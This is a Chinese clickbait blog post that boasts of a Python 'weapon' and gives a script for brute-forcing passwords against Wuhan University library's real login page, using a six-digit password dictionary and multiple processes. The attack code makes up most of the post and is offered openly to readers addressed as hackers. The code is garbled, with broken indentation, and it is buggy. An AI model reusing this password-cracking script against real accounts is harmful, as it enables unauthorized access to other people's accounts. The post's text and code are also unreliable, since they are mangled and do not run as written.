【【python学院】我利用Python开发大杀伤力虚拟武器!华为想聘请我,但我否决了!】http://toutiao.com/group/6533490954685383176/?iid=15906422033&app=explore_article×tamp=1521212575&tt_from=copy_link&utm_source=copy_link&utm_medium=toutiao_ios&utm_campaign=client_share
描述如果说图书馆它兼并了许多小系统的话,我还介意各位不要拿去尝试。因为那样造成的后果是非常严重的!
再次还原当时用Python破解的场景之前,我要先给大家说一下Python如何才能够打造高质量字典。所以密码破解的核心是什么?字典 多进程。黑客字典肯定是用来破解密码,而Python多进程就是提高我们的爬包速度。
Python生成黑客字典来源于字符串
描述保存下来就是一本Python黑客字典。
描述[Python破解源码]#!/usr/bin/env python#coding:utf-8#By eathingsimport urllibimport urllib2import cookielibimport multiprocessingimport reclass whu_crack(multiprocessing.Process):
def __init__(self, psw):
self.psw = psw
self.title = re.compile('<title>(.*?)</title>') def start_crack(self):
for password in self.psw: try: print password
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
url = '
http://metalib.lib.whu.edu.cn/pds'
data = { 'func': 'login', 'calling_system': 'idp_proxy', 'term1': 'short', 'selfreg': '', 'bor_id': '201130XXXXXXX', #学号
'bor_verification': password, 'institute': 'WHU', 'url': '
http://apps.lib.whu.edu.cn/idp_proxy/bor_auth_agent.asp?goto=%2Fweb%2Flogin%2Easp&sp=http%3A%2F%2Fwww.hub.calis.edu.cn%3A8090%2Famconsole%2FAuthServices%2F242010%3Fverb%3Dsplogin&idp=242010'
}
postdata = urllib.urlencode(data)
req = urllib2.Request(url,postdata)
result = opener.open(req)
page = result.read()
info = re.findall(self.title , page) try: if re.match('relocate', info[0]): print password
xx = raw_input()
sys.exit(1) except: pass
except Exception, e: print 'Error' eif __name__ == '__main__':
file = open('Six_nums_dict.txt')#暴力字典
lines = [] for line in file:
lines.append(line.rstrip())
file.close()
num = 25
print len(lines)
block = len(lines)/num
jobs = [] for i in range(num): if i == num:
psw = lines[block*i:] else:
psw = lines[block*i : block*(i 1)]
p = whu_crack(psw)
jobs.append(p)
p.start_crack() for i in jobs:
j.join()
写这个Python代码时我是没有过多考虑缩进问题的,这样肯定会导致有些喜欢Python的朋友COPY完跑代码出错。各位自己整理一下,在这里向各位黑客说一声抱歉!
联系客服